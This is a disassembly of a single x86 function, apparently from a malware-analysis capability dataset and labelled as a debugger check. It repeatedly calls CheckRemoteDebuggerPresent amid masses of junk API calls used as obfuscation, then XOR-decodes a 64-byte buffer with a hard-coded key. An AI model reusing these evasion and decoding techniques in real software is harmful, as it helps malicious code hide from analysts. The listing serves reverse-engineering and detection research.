Function at 0x40bda3
Capabilities:
Check for debugger via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.GDI32.dll_GetObjectW]
xor ebx, ebx
push edi
push ebx
push 0xed9dabf4
push ebx
mov dword [ebp - 4], ecx
call esi
push ebx
push 0x70066dd6
push ebx
call esi
push ebx
push 0x113dd5cd
push ebx
call esi
push ebx
push 0x1ab583bf
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
push ebx
push ebx
call edi
push ebx
push 0xe67cbd98
push ebx
call esi
push ebx
push 0xbc9967c0
push ebx
call esi
push ebx
mov ebx, dword [sym.imp.USER32.dll_DestroyWindow]
call ebx
push 0
call ebx
push 0
push 0x9105b426
push 0
call esi
push 0
call ebx
push 0
push 0xe4eea599
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0xd462128e
push 0
call esi
push 0
push 0xdfec8718
push 0
call esi
push 0
push 0
call edi
push 0
push 0x4acfbffe
push 0
call esi
push 0
push 0xb615eaca
push 0
call esi
push 0
call ebx
push 0
call ebx
push 0
push 0
call edi
push 0
push 0x2aeaf7a3
push 0
call esi
push 0
push 0xfffffffffffffff0
push 0x275894d5
push 0xca717412
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0
call edi
push 0
push 0xfd91ac0
push 0
call esi
push 0
call ebx
push 0
push 0xe214f1d0
push 0
call esi
push 0
push 0x30c362ff
push 0
call esi
push 0
push 0x8f3a1753
push 0
call esi
push 0
push 0
call edi
push 0
push 0x75aef44
push 0
call esi
push 0
push 0x6ce6276d
push 0
call esi
push 0
call ebx
push 0
push 0x596fd7f7
push 0
call esi
push 0
push 0xa8c2a80b
push 0
call esi
push 0
push 0xfffffffffffffff6
push 0x25f25eba
push 0x99baee02
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xffffffffffffffe8
push 0xe14597ba
push 0xd41ea1c5
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x82958ffc
push 0
call esi
push 0
call ebx
push 0
call ebx
push 0
push 0xb01b3b31
push 0
call esi
push 0
push 0
call edi
push 0
push 0x4093cb06
push 0
call esi
push 0
push 0x40062481
push 0
call esi
push 0
push 0x38adc6b0
push 0
call esi
push 0
push 0xfffffffffffffff4
push 0x7c2c9f2
push 0xaa6a4860
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x779ad5c1
push 0
call esi
push 0
push 0
call edi
push 0
push 0x9f7413ee
push 0
call esi
push 0
push 0x387aad1d
push 0
call esi
push 0
push 0x16
push 0xe5d61169
push 0x9311187
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xc0bbb0d0
push 0
call esi
push 0
push 0xb6c53b7
push 0
call esi
push 0
push 0x2b4791
push 0
call esi
push 0
push 0xfffffffffffffff9
push 0x74096b2d
push 0x2489581a
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xe80299d3
push 0
call esi
push 0
call ebx
push 0
push 0
call edi
push 0
push 0x4c8bb9c6
push 0
call esi
push 0
push 0x6295b8fc
push 0
call esi
push 0
push 3
push 0x77a371ff
push 0x7bdc4e31
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
call ebx
push 0
push 0
call edi
push 0
push 0x14d49f1c
push 0
call esi
push 0
push 0x8897cc5e
push 0
call esi
push 0
call ebx
push 0
push 0xfffffffffffffffc
push 0x137548e0
push 0x5a82a534
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xd4ba6ab2
push 0
call esi
push 0
push 0x61d2189a
push 0
call esi
push 0
push 1
push 0xd76a0ee2
push 0x6bfb8850
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xa2c0ec0f
push 0
call esi
push 0
push 0xc6014b0f
push 0
call esi
push 0
push 0x393a49d2
push 0
call esi
push 0
push 2
push 0xc744c546
push 0xbf8a4d61
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0
call edi
push 0
push 0xc12c5b7d
push 0
call esi
push 0
push 0xfffffffffffffffe
push 0xae08f9a4
push 0xca18b13f
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xc
push 0xcc1092eb
push 0xcc82ec71
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
call ebx
push 0
push 0x468d3626
push 0
call esi
push 0
push 0xe2423132
push 0
call esi
push 0
push 0
call edi
push 0
push 0
call edi
push 0
push 0x11
push 0x6fb7efa4
push 0xb9591922
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0
call edi
push 0
push 0x7c268a81
push 0
call esi
push 0
call ebx
push 0
push 0
call edi
push 0
push 0xb3c9c855
push 0
call esi
push 0
push 0x7b832457
push 0
call esi
push 0
push 0xfffffffffffffff5
push 0xaf9058b7
push 0x63e3e94d
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xbce7eb86
push 0
call esi
push 0
push 0
call edi
push 0
push 0x505f3373
push 0
call esi
push 0
call ebx
push 0
push 0xf730176b
push 0
call esi
push 0
push 0
call edi
push 0
push 0x41fd4f11
push 0
call esi
push 0
push 0x77863794
push 0
call esi
push 0
call ebx
push 0
call ebx
push 0
push 0xfffffffffffffff4
push 0xf45a6bc2
push 0x2df0f791
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x97831b85
push 0
call esi
push 0
push 0xb961fca9
push 0
call esi
push 0
push 0xfffffffffffffffe
push 0xc472abb5
push 0x94987f03
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xb
push 0xee06f477
push 0x408e6ab9
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x98aadab3
push 0
call esi
push 0x41
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0
push 0xe03bc1a0
push 0
mov dword [ebp - 0xc], eax
call esi
push 0
push 0xade0d8e0
push 0
call esi
push 0
push 3
push 0x9960512
push 0xeee08da3
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x2e2a4b21
push 0
call esi
push 0
push 0
call edi
push 0
push 0x9e867e94
push 0
call esi
push 0
push 0x6641d6fc
push 0
call esi
push 0
push 0x6a2748a8
push 0
call esi
push 0
push 0
call edi
push 0
push 0x6b56c234
push 0
call esi
push 0
push 0xffffffffffffffed
push 0x1e663f82
push 0xbf37f63b
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 8
push 0x4211dc56
push 0x7b8e10c1
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x3328dc05
push 0
call esi
push 0
push 0xbb425026
push 0
call esi
push 0
push 0xfffffffffffffff1
push 0x87290a61
push 0x4c0be919
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0
call edi
push 0
push 0xe0cfa61c
push 0
call esi
push 0
push 0xe2a6775a
push 0
call esi
push 0
push 0
call edi
push 0
push 0xb2b310d6
push 0
call esi
push 0
push 0x52922ddd
push 0
call esi
push 0
push 0x3657159f
push 0
call esi
push 0
push 0
call edi
push 0
push 0xffffffffffffffff
push 0x3800550e
push 0xb125eb5d
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xe
push 0x29d62e72
push 0xb0f7e425
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x1c318f86
push 0
call esi
push 0
push 0
call edi
push 0
push 0x658ccc8d
push 0
call esi
push 0
push 0x61f87569
push 0
call esi
push 0
call ebx
push 0
push 0xcc60cef3
push 0
call esi
push 0
push 0xb1d93536
push 0
call esi
push 0
call ebx
push 0
push 0x62407807
push 0
call esi
push 0
push 0
call edi
push 0
push 0
call edi
mov eax, dword [ebp - 0xc]
and dword [ebp - 8], 0
sub eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
push 0
call ebx
push 0
push 0xffffffffffffffec
push 0x3f500b1
push 0x14d1b981
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x6315c37
push 0
call esi
push 0
push 0xb1f33e9a
push 0
call esi
push 0
push 0
call edi
push 0
push 0x7292876e
push 0
call esi
push 0
push 0
call edi
push 0
push 0x12
push 0x757165c3
push 0x2b6cff99
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x709d5e19
push 0
call esi
push 0
push 0x8f174dbf
push 0
call esi
push 0
push 0x23759d03
push 0
call esi
push 0
push 0x886bb0e2
push 0
call esi
push 0
call ebx
push 0
push 0xd53be311
push 0
call esi
push 0
call ebx
push 0
push 0x10
push 0x231bb43f
push 0x4ac6e491
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
call ebx
push 0
push 0x474099b7
push 0
call esi
push 0
push 0x90af018
push 0
call esi
push 0
push 0
call edi
push 0
push 0xca78f483
push 0
call esi
push 0
call ebx
push 0
push 0x8c14c697
push 0
call esi
push 0
push 0x928476d7
push 0
call esi
push 0
push 0xcd499ba3
push 0
call esi
push 0
push 0
call edi
push 0
push 0x67a43e42
push 0
call esi
push 0
push 0x8463c653
push 0
call esi
push 0
push 0xaefc2529
push 0
call esi
push 0
push 0x5ce329c
push 0
call esi
push 0
call ebx
push 0
push 0x8bee2763
push 0
call esi
push 0
push 0
call edi
push 0
push 0x17925125
push 0
call esi
push 0
push 0x14
push 0xe0e5472
push 0xf1e76711
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
call ebx
mov eax, dword [ebp - 4]
push 0
cmp byte [eax], 0x20
je 0x40cb16
push 0
call edi
push 0
push 0x6c7921b4
push 0
call esi
push 0
push 0x3925b4ef
push 0
call esi
push 0
call ebx
push 0
push 0xbf93bdd4
push 0
call esi
push 0
call ebx
push 0
push 0xab2ccc4a
push 0
call esi
push 0
push 0x8dec65fb
push 0
call esi
push 0
push 0
call edi
push 0
push 0x4d5a957b
push 0
call esi
push 0
push 0x791d326b
push 0
call esi
push 0
push 0x76c77b09
push 0
call esi
push 0
call ebx
push 0
push 0x49ef9364
push 0
call esi
push 0
push 0x8ce4a906
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0x227a590f
push 0
call esi
push 0
push 0x796056ab
push 0
call esi
push 0
call ebx
push 0
call ebx
push 0
push 0x79c23560
push 0
call esi
push 0
push 0x20ee2bc8
push 0
call esi
push 0
push 0x3925bba7
push 0
call esi
push 0
push 0
call edi
push 0
push 0xb021daa1
push 0
call esi
push 0
push 0x50c9d49b
push 0
call esi
push 0
push 0xf676f62c
push 0
call esi
push 0
push 0x329b0ac6
push 0
call esi
push 0
push 0xfffffffffffffffe
push 0x4dfd95e9
push 0xed155ee5
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x5122d29a
push 0
call esi
push 0
push 0xf7cd5d7c
push 0
call esi
push 0
push 0xe7f89eb6
push 0
call esi
push 0
push 0xd
push 0x3b9e0bf9
push 0xde2d3ada
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
call ebx
push 0
push 0xb60d8d64
push 0
call esi
push str.f26f614d4c0bc2bcd6601785661fb5cf
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
xor edx, edx
mov eax, dword [ebp - 8]
div ecx
push 0
mov al, byte [edx + str.f26f614d4c0bc2bcd6601785661fb5cf]
mov edx, dword [ebp - 4]
mov cl, byte [edx]
xor cl, al
mov eax, dword [ebp - 0x10]
mov byte [eax + edx], cl
call ebx
push 0
call ebx
push 0
push 0xa
push 0x9ac41749
push 0x82d758fe
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
call ebx
push 0
push 0xe7b68067
push 0
call esi
push 0
push 0x85196283
push 0
call esi
push 0
push 0xad58699b
push 0
call esi
push 0
push 0x8546ef5a
push 0
call esi
push 0
push 0xbf3d7454
push 0
call esi
push 0
push 0
call edi
push 0
push 0
call edi
push 0
push 0x13
push 0xe6a54dd
push 0x9b7bcae4
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x4d445e79
push 0
call esi
push 0
push 0xecfd7172
push 0
call esi
push 0
call ebx
push 0
push 0x20725a5b
push 0
call esi
push 0
push 0x16
push 0x7da4aacf
push 0x7153037d
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x14f670ac
push 0
call esi
push 0
push 0
call edi
push 0
push 0x77bc6c07
push 0
call esi
push 0
call ebx
push 0
push 0x3bbcc196
push 0
call esi
push 0
push 0
call edi
push 0
push 0x994d36ac
push 0
call esi
push 0
call ebx
push 0
push 0
call edi
push 0
push 0xf574c6ff
push 0
call esi
push 0
push 0x8d463744
push 0
call esi
push 0
push 0xa
push 0xf0f930ff
push 0x83b1cb15
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0
call edi
push 0
push 0
call edi
push 0
push 0xe80e548a
push 0
call esi
push 0
push 0xa757d33f
push 0
call esi
push 0
push 5
push 0xcf409055
push 0x27dccd72
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x11
push 0x68d5ecb1
push 0xd6a618a
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 5
push 0x23eca0d5
push 0x5acf89f6
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xb50a03a7
push 0
call esi
push 0
push 0xffffffffffffffff
push 0x7025ef1f
push 0xfae74e1e
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xbe828880
push 0
call esi
push 0
push 0x74b0956f
push 0
call esi
push 0
push 0xd90c5a6d
push 0
call esi
push 0
push 0xfffffffffffffffa
push 0xe9559568
push 0xe708d876
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x5c32ca07
push 0
call esi
push 0
call ebx
push 0
push 0x22db7011
push 0
call esi
push 0
push 0xa0de56ca
push 0
call esi
push 0
push 0x34bc910e
push 0
call esi
push 0
push 0xf796a141
push 0
call esi
push 0
push 0xa8d817fc
push 0
call esi
push 0
push 0x15
push 0xb5ec9991
push 0xbe7e4ecb
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xecac347
push 0
call esi
push 0
push 0xf6adf28e
push 0
call esi
push 0
push 0x6fd34a9f
push 0
call esi
push 0
push 0
call edi
push 0
push 0xde5fabcc
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0xffffffffffffffef
push 0x2422326d
push 0x553ce52d
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
call ebx
push 0
call ebx
push 0
push 0x59467a7a
push 0
call esi
push 0
push 0x83e0cab6
push 0
call esi
push 0
push 6
push 0x97160d2f
push 0xea8474df
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x15
push 0x83e752e4
push 0x34c0ad6d
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x4665c21
push 0
call esi
push 0
push 0xcd09cb35
push 0
call esi
push 0
push 0xbaa56301
push 0
call esi
push 0
push 0x8f4c6f89
push 0
call esi
push 0
push 0x1de64af4
push 0
call esi
push 0
call ebx
push 0
push 0x8a685bdf
push 0
call esi
push 0
push 0xeca21a17
push 0
call esi
mov eax, dword [ebp - 8]
inc eax
inc dword [ebp - 4]
mov dword [ebp - 8], eax
cmp eax, 0x40
jb 0x40c3c4
push 0
call ebx
push 0
push 0
call edi
push 0
push 0xa3e00065
push 0
call esi
push 0
push 0x9fbd81ef
push 0
call esi
push 0
push 0
call edi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call edi
push 0
push 0
call edi
push 0
push 0x21c1384b
push 0
call esi
push 0
call ebx
push 0
push 0
call edi
push 0
push 0x258b0c76
push 0
call esi
push 0
push 0
call edi
push 0
push 0x10
push 0x7b4de2d2
push 0x2eb3669c
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x1edea1c9
push 0
call esi
push 0
push 0x9f531187
push 0
call esi
push 0
push 0x64266a43
push 0
call esi
push 0
push 0x7448fdb0
push 0
call esi
push 0
push 0xfffffffffffffff7
push 0x36a99202
push 0x62841939
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0
call edi
xor edi, edi
push edi
push 0x386a4af2
push edi
call esi
push edi
push 0x3b3eafd
push edi
call esi
push edi
push 0xaf366790
push edi
call esi
push edi
push 0x373f3048
push edi
call esi
push edi
call ebx
push edi
push 0xc40b530e
push edi
call esi
push edi
call ebx
push edi
push 0x90bc5a81
push edi
call esi
push edi
call ebx
push edi
push 0xd68b96c
push edi
call esi
push edi
push 0x2ab1dc5c
push edi
call esi
push edi
push 0x10
push 0x1f0c3749
push 0xd2b47486
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push edi
push 0x9e889a44
push edi
call esi
push edi
call ebx
push edi
push 0xc1520897
push edi
jmp 0x40ce09
push 0xa90a5d07
push 0
call esi
push 0
push 0x5bcdad76
push 0
call esi
push 0
push 0xffffffffffffffef
push 0x64d18e24
push 0x6096103c
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xbe8182b4
push 0
call esi
push 0
push 0x70c6c4fc
push 0
call esi
push 0
push 0
call edi
push 0
push 0xffffffffffffffff
push 0xe812a27b
push 0x30037d93
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
call ebx
push 0
call ebx
push 0
call ebx
push 0
push 0x409a99e7
push 0
call esi
push 0
push 0x11
push 0xace332c0
push 0xd6b1c5bd
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
call ebx
push 0
push 0
call edi
push 0
push 0xb81bfe53
push 0
call esi
push 0
push 0x9ea245c4
push 0
call esi
push 0
push 0
call edi
push 0
push 0x3e5f7f93
push 0
call esi
push 0
call ebx
push 0
push 9
push 0xe7e3868f
push 0xeb63aeab
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x12
push 0xf991a00a
push 0x207bd86b
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0
call edi
push 0
push 0
call edi
push 0
push 0x18021c6a
push 0
call esi
push 0
push 0xee576705
push 0
call esi
push 0
call ebx
push 0
push 0
call edi
push 0
push 0x6727a77a
push 0
call esi
push 0
push 0xd
push 0xd91033bf
push 0xcd4cf9b7
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x81d101b0
push 0
call esi
push 0
push 0xed7acc48
push 0
call esi
push 0
push 0x16
push 0x9084b097
push 0xcfa9698a
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xfffffffffffffff7
push 0x28aebd26
push 0x68af93d3
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0x68c63e4b
push 0
call esi
push 0
push 0
push 0x570e54ff
push 0x8bcb3b55
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xe60f9617
push 0
call esi
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov edx, dword [ebp - 8]
push ecx
push 0x1963bc90
push ecx
mov byte [edx + eax], cl
call esi
push 0
push 0x434b3f34
push 0
call esi
push 0
push 0
call edi
push 0
push 0x43e5e6b6
push 0
call esi
push 0
push 0xad38a7a2
push 0
call esi
push 0
push 4
push 0x24a9317a
push 0x259bc7bd
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 7
push 0xd6ade304
push 0x48daa235
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push 0
push 0xb5a1fff2
push 0
call esi
push 0
push 0x5790dc66
push 0
call esi
push 0
call ebx
push 0
push 0xc0c7e7a9
push 0
call esi
push 0
call ebx
push 0
push 0
call edi
push 0
push 0x7c81ba8e
push 0
call esi
push 0
call ebx
push 0
push 0x2d4610c8
push 0
call esi
push 0
push 0xb6ddbeb
push 0
call esi
push 0
push 0
call edi
push 0
push 0x7d3343ec
push 0
call esi
push 0
push 0
call edi
push 0
push 0x616518db
push 0
call esi
push 0
call ebx
xor ebx, ebx
push ebx
push 0x950ac184
push ebx
call esi
push ebx
push 0xf64735f
push ebx
call esi
push ebx
push 0x48514a91
push ebx
call esi
push ebx
push 0xddffa2b7
push ebx
call esi
push ebx
push 0x490b5911
push ebx
call esi
push ebx
push ebx
call edi
push ebx
push 0xc3702638
push ebx
call esi
push ebx
push 0x5d0103c
push ebx
call esi
push ebx
push 0xd
push 0x49ca1863
push 0xca16150a
call dword [sym.imp.ole32.dll_CoDecodeProxy]
push ebx
push 0x2bb1b6cc
push ebx
call esi
push ebx
push 0xa3819336
push ebx
call esi
push ebx
push 0x707215bb
push ebx
call esi
push ebx
push 0xdd2cb815
push ebx
call esi
push ebx
push 0x12f10ac5
push ebx
call esi
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret